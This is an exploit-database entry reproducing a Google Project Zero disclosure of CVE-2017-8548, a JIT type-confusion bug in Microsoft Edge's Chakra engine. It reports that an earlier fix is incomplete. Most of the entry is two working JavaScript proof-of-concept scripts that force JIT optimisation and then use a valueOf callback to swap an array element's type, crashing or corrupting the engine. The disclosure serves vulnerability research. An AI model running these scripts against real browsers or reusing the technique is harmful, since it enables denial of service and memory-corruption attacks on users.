Microsoft Edge Chakra - Incorrect JIT Optimization with TypedArray Setter #2

Author: Google Security Research
type: dos
platform: windows
port: 
date_added: 2017-08-17 
date_updated: 2017-08-17 
verified: 1 
codes: CVE-2017-8548 
tags: 
aliases:  
screenshot_url:  
application_url: 

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Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1290

I think the fix for #1045 is incorrect.

Here's the original PoC.

'use strict';

function func(a, b, c) {
    a[0] = 1.2;
    b[0] = c;
    a[1] = 2.2;
    a[0] = 2.3023e-320;
}

function main() {
    var a = [1.1, 2.2];
    var b = new Uint32Array(100);

    // force to optimize
    for (var i = 0; i < 0x10000; i++)
        func(a, b, i);

    func(a, b, {valueOf: () => {
        a[0] = {};

        return 0;
    }});

    a[0].toString();
}

main();


I just changed "var b = new Uint32Array(100);" to "var b = new Uint32Array(0);", and it worked well.

PoC:
-->

'use strict';

function func(a, b, c) {
    a[0] = 1.2;
    b[0] = c;
    a[1] = 2.2;
    a[0] = 2.3023e-320;
}

function main() {
    var a = [1.1, 2.2];
    var b = new Uint32Array(0);  // <<--------- 100 -> 0

    // force to optimize
    for (var i = 0; i < 0x10000; i++)
        func(a, b, i);

    func(a, b, {valueOf: () => {
        a[0] = {};

        return 0;
    }});

    a[0].toString();
}

main();